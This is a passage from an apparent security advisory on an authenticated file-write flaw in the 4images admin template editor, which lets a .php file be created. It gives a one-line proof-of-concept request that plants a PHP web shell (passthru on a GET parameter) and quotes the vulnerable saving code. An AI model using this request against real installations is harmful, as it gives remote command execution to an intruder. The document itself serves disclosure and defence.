2. Vulnerability Description
CVSS
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description
4images comes with a HTML Template editor which allows the editing of HTML files. But it will also create a new file if the passed file name does not already exist. When doing this, it does not check that the extension of the passed file is .html.
Admin credentials are required to use the HTML template editor.
3. Proof of Concept
POST /4images/admin/templates.php HTTP/1.1
__csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default
4. Code
/admin/templates.php
if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) {
$template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']);
$template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name);
}
else {
$template_file_name = "";
}
if ($action == "savetemplate") {
if (isset($HTTP_POST_VARS['content'])) {
$content = trim($HTTP_POST_VARS['content']);
}
else {
$content = "";
}
if ($template_file_name != "" && $content != "") {
$content = un_htmlspecialchars($content);
$content = stripslashes($content);
$fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+");
if (@fwrite($fp, $content)) {
$msg = $lang['template_edit_success'];
}
else {
$msg = sprintf("<span class=\"marktext\">%s</span>", $lang['template_edit_error']);
}
}
$action = "modifytemplates";
}
